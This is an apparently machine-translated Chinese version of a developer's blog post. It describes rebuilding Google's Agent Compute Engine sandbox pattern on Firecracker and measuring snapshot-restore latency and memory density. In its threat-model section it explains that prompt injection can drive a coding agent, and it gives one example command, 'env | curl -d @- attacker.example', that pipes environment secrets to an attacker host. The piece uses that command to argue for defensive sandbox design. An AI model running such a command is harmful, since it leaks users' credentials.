开发者用Firecracker复现Google智能体沙箱Agent Compute Engine并测量性能
来源标题:Google Described Its Agent Sandbox. I Built One with Firecracker and Measured It
开发者用约2200行Go代码在Firecracker上复现了Google提出的Agent Compute Engine模式。裸机上快照恢复仅需25毫秒,比冷启动快26倍,64个并发fork约150毫秒全部就绪,每个空闲fork仅占约3MiB宿主内存。在Mac mini的嵌套虚拟化环境下,12个并发fork始终未能就绪。
以下正文由 AI 翻译自 Hacker News 最新(原文版权归原站所有),可能存在偏差,重要内容请以原文为准。
10 月 22 日,Google 介绍了 Agent Compute Engine:每个 AI agent 会话都拥有自己的 microVM,在模型思考期间会对其进行 checkpoint,从预热快照以 copy-on-write 方式克隆,并且不分配网卡。你目前还用不上它,而且那篇文章没有给出任何延迟或密度数字。于是我用 Go 写了大约 2,200 行代码,在 Firecracker 上实现了同样的模式,并在两台机器上做了测量。64 个空闲的 512 MiB VM fork 每个占用约 3 MiB 主机内存。在裸机上,一次快照恢复在 25 ms 内返回,比冷启动快 26 倍;同时启动的 64 个 fork 全部在约 150 ms 内就绪。在一台启用嵌套虚拟化的 Mac mini 上,同时启动的 12 个 fork 根本没有就绪,而这次失败给我的启发最大。
在 Google Cloud 的深度文章中,每个 agent 会话都获得一个硬件隔离、单租户的 microVM,Google 的宣传是“容器速度与密度下的 VM 隔离”。预览版“将在未来几个月内”推出。文章没有给出启动、恢复、密度或成本数字,也没有说明它使用哪种 hypervisor。
同一天,在圣何塞的 AGNTCon + MCPCon 上,Agentic AI Foundation 接纳了四个新项目。其中两个是执行环境:阿里巴巴的 OpenSandbox,以及来自 Meta-PyTorch 和 Hugging Face 的 OpenEnv。对 agent sandbox 来说,这是忙碌的一周。
我想知道,今天用开源组件能构建出 Google 设计中的多少部分,以及代价是什么。于是我在 Firecracker 上构建了四个部分:
代码在配套仓库中。其中包含一个基于 firecracker-go-sdk 的 orchestrator、一个在 guest 内运行的 agent、一个 230 行的 egress 代理,以及一个输出 CSV 的 benchmark harness。本文中的每个数字都来自这段代码,运行在 Results 部分描述的机器上,或者链接到其来源。
Google 的文章更多是在解释系统做什么,而不是怎么做。当我描述他们的系统时,我会说明哪些部分是 Google 明确陈述的,哪些是我的推断。
编码 agent 的日常就是运行没人审查过的代码:它刚写的代码、它刚安装的包、它从 README 里找到的脚本。这些代码背后的 prompt 可能包含从网页或 issue 评论注入的指令。所以要假设工作负载是恶意的,并且在 sandbox 中拥有 root 权限。
容器共享主机内核,因此隔离只有在工作负载无法触及 syscall 表面、namespace 代码或容器运行时中的 bug 时才成立。这类 bug 不断出现。在 CVE-2024-21626 中,runc 将主机文件描述符泄漏到容器中,而一个精心构造的工作目录将其转化为对主机文件系统的访问。一个拥有 shell 且有一定动机的 agent,正是那种会找到下一个漏洞的租户。
gVisor 通过在用户空间重新实现 syscall 来缩小攻击面,这是一个合理的折中方案。microVM 则移动了边界。guest 运行自己的内核,主机只通过 KVM 暴露一小部分虚拟设备:block 或 pmem、vsock,以及一个串口。
这解决了问题中内核的那一半。另一半是凭证。一个与 GitHub 或包注册表通信的 agent 需要一个 token。如果 token 位于 sandbox 内的环境变量中,一次 prompt 注入只需要 env | curl -d @- attacker.example,硬件隔离对此无能为力。
Google 的文章区分了四种身份:
guest 通过每个 VM 的本地监听器获得一个临时 SPIFFE 证书和一个短期 token。它得不到 refresh token、service account key 或 metadata server。真正的凭证在 Agent Gateway 处添加,位于 VM 之外,在检查了会话的 mTLS 身份和 egress 策略之后。
我从这里得到的想法是:主机决定 sandbox 的身份是什么,而 guest 从不持有授予真实访问权限的凭证。我的实现用简单得多的组件保留了这两个特性。
两者都是基于 KVM 的 Rust VMM,并且都使用 rust-vmm crate。
Firecracker 是极简的那个,为 Lambda 和 Fargate 而构建(NSDI '20 论文)。其规格承诺从 InstanceStart 到 guest /sbin/init 最多 125 ms,VMM 开销最多 5 MiB。这两项都适用于特定裸机实例上的 1 vCPU、128 MiB guest。
以下是本项目依赖的 Firecracker 特性:
Cloud Hypervisor 有更大的设备模型(virtio-fs、vhost-user、VFIO、hotplug)。它的 copy-on-write 恢复模式(文档)映射快照文件,使恢复的 VM 共享 page-cache 页,这正是整篇文章所依赖的特性。
我选择 Firecracker 是因为它的快照语义简单且文档完善,而且它有 Go SDK。下文没有任何内容特别依赖于它。Google 没有说明其 hypervisor,我也不打算猜测。
Google 表示,预热快照镜像包含完全初始化的二进制文件。在主机上,它们“使用 Direct Access (DAX) 和 Copy-on-Write (CoW) 内存克隆直接映射到物理内存”。DAX 避免重复的 guest page cache,因此 VM 为操作系统、库和二进制文件共享物理页。每个 agent 只需为其修改的页付费。
我的理解是,这描述了两个独立的机制,而两者都有开源等价物。
仓库支持两种模式:-rootfs-mode block(virtio-block)和 -rootfs-mode pmem(virtio-pmem 配合 rootflags=dax)。在两种模式下,rootfs 都是只读的,每个 VM 共享一个镜像。guest agent 将 tmpfs 挂载到 /work、/tmp 和 /run,因此 agent 写入的任何内容都只落在自己的 RAM 中,不会到别处。
SDK 可以加载快照,但其生成的 API 客户端早于 vsock_override。SDK 将 setup 作为一系列命名 handler 运行,所以我替换了其中一个:
opts := []firecracker.Opt{ firecracker.WithSnapshot(snap.MemPath, snap.StatePath), func(m *firecracker.Machine) { m.Handlers.FcInit = m.Handlers.FcInit.Swap(firecracker.Handler{ Name: firecracker.LoadSnapshotHandlerName, Fn: func(ctx context.Context, m *firecracker.Machine) error {
(原文较长,此处译出前 6000 字,完整内容请点「打开原文」。)
正文由 探How 从来源站点 RSS 同步,内容未经改写;遇到排版缺失或需要图片、视频时请以原文为准。